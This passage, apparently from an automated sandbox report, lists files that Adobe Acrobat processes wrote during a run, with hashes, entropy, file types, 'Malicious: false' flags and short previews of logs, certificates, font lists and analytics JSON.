SSDEEP:	6:iO7TDl4q2PcNwi2nKuAl9OmbzNMxIFUt5UhJZmwHTDkwOcNwi2nKuAl9OmbzNMFd:7fCvLZHAa8jFUtc/n54ZHAa84J
MD5:	07D9E087B6AA1B44DCC4E6E04FF07A7C
SHA1:	42868BAAF08154F55B6BE42BEDB8086F11B3A025
SHA-256:	1D7BF4F566C30C6A1CC639810EA79CD16D90692392D8B7BC879DCFEB74918DAE
SHA-512:	621C68CBCC1AC4CD3DE0F6539272283F38F38C652FAF04625C4F8C02FD38AD2613B0AA7E616040CC3B8323DF521D39FD5875E6EE8382CFF9E744F42F88C5978D
Malicious:	false
Preview:	2025/01/11-02:30:21.387 1f00 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:30:21.388 1f00 Recovering log #3.2025/01/11-02:30:21.389 1f00 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1370596669332915
Encrypted:	false
SSDEEP:	6:iO7TDl4q2PcNwi2nKuAl9OmbzNMxIFUt5UhJZmwHTDkwOcNwi2nKuAl9OmbzNMFd:7fCvLZHAa8jFUtc/n54ZHAa84J
MD5:	07D9E087B6AA1B44DCC4E6E04FF07A7C
SHA1:	42868BAAF08154F55B6BE42BEDB8086F11B3A025
SHA-256:	1D7BF4F566C30C6A1CC639810EA79CD16D90692392D8B7BC879DCFEB74918DAE
SHA-512:	621C68CBCC1AC4CD3DE0F6539272283F38F38C652FAF04625C4F8C02FD38AD2613B0AA7E616040CC3B8323DF521D39FD5875E6EE8382CFF9E744F42F88C5978D
Malicious:	false
Preview:	2025/01/11-02:30:21.387 1f00 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:30:21.388 1f00 Recovering log #3.2025/01/11-02:30:21.389 1f00 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438685770762446
Encrypted:	false
SSDEEP:	384:yeaci5GOiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1murVgazUpUTTGt
MD5:	508D95D1BB3B1552ECBB8083D52FEA28
SHA1:	139CCF69FCD978666A856AB8B25C8F339861B136
SHA-256:	85F386C2E9EB08F7935103E128142D1F920EA1A2A42347F5EF43E2846EBE325D
SHA-512:	690094B9A703E88AA820FB7B9C9119784317F78962DCCE5A3856ACA508CDF7293B7E867C6EE5AF908FB1C5186A0E531FDD7C6CB0EB16F2954DF681195EFBDCE0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7717706583790758
Encrypted:	false
SSDEEP:	48:7MMp/E2ioyVmioy3DoWoy1CABoy1mKOioy1noy1AYoy1Wioy1hioybioykoy1noX:7bpjum0iAKXKQJ0b9IVXEBodRBkl
MD5:	16423297631F5BF70B8F5601BFC4F22C
SHA1:	0DDBA9777393039B5AC642D8147F9C8726A5A616
SHA-256:	81011DC372A6AC121F9E91F2F0C9407C8952FBC1DC579293B10407D051180DD0
SHA-512:	A76383B2FC522D61CAF72B4788C3974590E46EF7C80A235CD864735E010CE648509813889B967AE48B1C2A430C25E3F83713892AC9D1AABF110C64834B54FAAE
Malicious:	false
Preview:	.... .c......s#o...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7282048283587708
Encrypted:	false
SSDEEP:	3:kkFklbDUxkltfllXlE/HT8k8lZNNX8RolJuRdxLlGB9lQRYwpDdt:kK76eT8J3NMa8RdWBwRd
MD5:	C76F456144965E91A66B8E408D241CA3
SHA1:	8C41749814944D6656929DE5DAFCEB03A077CBE5
SHA-256:	F7BA1523DF47E6C64AD13C2FEF7C19BCF7BDCAB7473BB224D7705CC926C0F456
SHA-512:	B7EACF5030106D1CDAEB7D018995CC5284D6BD54AE80A5A0D84FE652DB45D9E996AA1B135531E1AEA16D4BA9DDE1455F67941E59B31C1E317B0DEC276D24AC30
Malicious:	false
Preview:	p...... .........f)..c..(....................................................... ..........W....rI..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2319854253366045
Encrypted:	false
SSDEEP:	6:kKWL/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:6/iDImsLNkPlE99SNxAhUe/3
MD5:	426AE6A209339DF766962DC4C675DEB7
SHA1:	01AC048713657528947B12CF1EADA61576716C72
SHA-256:	43906DDBD6D34A8DA23571D7CD7523481790C608C3E2F74E17CD07FCD8309F96
SHA-512:	572664607417DF22422D9C4DAF554DFD1D552E78E90EAA23B6CFD76CB40CF9240429F343FE42224EE08F297D240390DB8DB5C5BE6656B59575D4BFCD5DDBEB2B
Malicious:	false
Preview:	p...... ..........l..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7548

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7548

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.392221291990796
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHPY52WsGiIPEeOF0YS35KoAvJM3g98kUwPeUkwRe9:YvXKXHqxsdTeOynGMbLUkee9
MD5:	93083933DC8AF5CB269AD5A5516EF285
SHA1:	8F3F2196E990046125451A1F4046C7F6B0665399
SHA-256:	FE8A84BED4F220D800906022C0E3B006974F9DE9E71B723710F8F0AB88D587AC
SHA-512:	67F4BDE8D36B269B2A237C124B9D9305481C4D4DAAD3C9F21E6275325A87D8FBA024C8F877F5D62085DF2649FEC9CF72CEA84F7847C1AD6A8FD78BECEE7B6EA8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7310f2ed-2eb9-4f68-92f7-6abf61950995","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753985082,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.327082019402261
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHPY52WsGiIPEeOF0YS35KoAvJfBoTfXpnrPeUkwRe9:YvXKXHqxsdTeOynGWTfXcUkee9
MD5:	E475E16EDD374A9EF8E0DCE92DE139F9
SHA1:	7FAF9616AFB5AC9BA585E791C8D18F79599A0E7A
SHA-256:	DBFEA1BE4C5044D68172451AEA27B851982A33FFBEFAD5B05672C329AEE0FFF8
SHA-512:	C8177581CCA234C112DA7B9043E5DCED2E82FC51C8C0C110969C00F7CDC7D196CD0B68A149B902E53126D977EF4BA6F9CF5CD8071B5158A5F7C88571EB3E1613
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7310f2ed-2eb9-4f68-92f7-6abf61950995","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753985082,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.306568588539664
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHPY52WsGiIPEeOF0YS35KoAvJfBD2G6UpnrPeUkwRe9:YvXKXHqxsdTeOynGR22cUkee9
MD5:	264470B6B98E8D90194A5A04D9962316
SHA1:	F32F0D56E1B72B5A38378B50F2E87A2391422D2B
SHA-256:	5A6DB7EC2CBE6D4BB244C936D70F65234123C98FB1E1D986AFB1FD4AAEF9FAAD
SHA-512:	C3D128E2F0B487F9FA0B96F9199A6358D81A3C7D84AF9EADB97F5CEEA1383F86A24D0E61A05ED8C405AA17FDF8D9ECB6BACAE4F41863FEAF7201F6E0451838C8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7310f2ed-2eb9-4f68-92f7-6abf61950995","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753985082,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3801121532394225
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHPY52WsGiIPEeOF0YS35KoAvJfPmwrPeUkwRe9:YvXKXHqxsdTeOynGH56Ukee9
MD5:	ADFC8F3CC9B9763497E2DB86727CF237
SHA1:	3A724633FC7ABF25F113276B21F4004293AD0ED1
SHA-256:	2B28C6D24A3B4C874EFD97DEA70F75D2FD604ECAF03275A895FCFA2201389363
SHA-512:	0446728256227E267072AAD26BE27D6C81B51C051DB02F374ABAF915A1A96817F4BE233BCDB995F1ABD53DE34E0A23EAEAD27A390DE56A24C22C03411EAB62C5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7310f2ed-2eb9-4f68-92f7-6abf61950995","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753985082,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.693315667974102
Encrypted:	false
SSDEEP:	24:Yv6XomeOyspLgE9cQx8LennAvzBvkn0RCmK8czOCCSA:YvqeBshgy6SAFv5Ah8cv/A
MD5:	3290D108483AF599150C6C7048160ABF
SHA1:	1C901D124FED08F66BE446A14B2FEB467DD410F8
SHA-256:	A6A6147DC2C746FFF76840CAE91BB680E68F01A5FF96A486E0D2651FEC17512C
SHA-512:	5FF71A66306B35559A26B9297384ED7080E19122D4ED7FD136684485C67A1275691BAA6F696ADA1E1AF7B8FC3D1E0D6538579974DD263B4E4AA45370F52980EA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7310f2ed-2eb9-4f68-92f7-6abf61950995","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753985082,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.318227772577956
Encrypted:	false
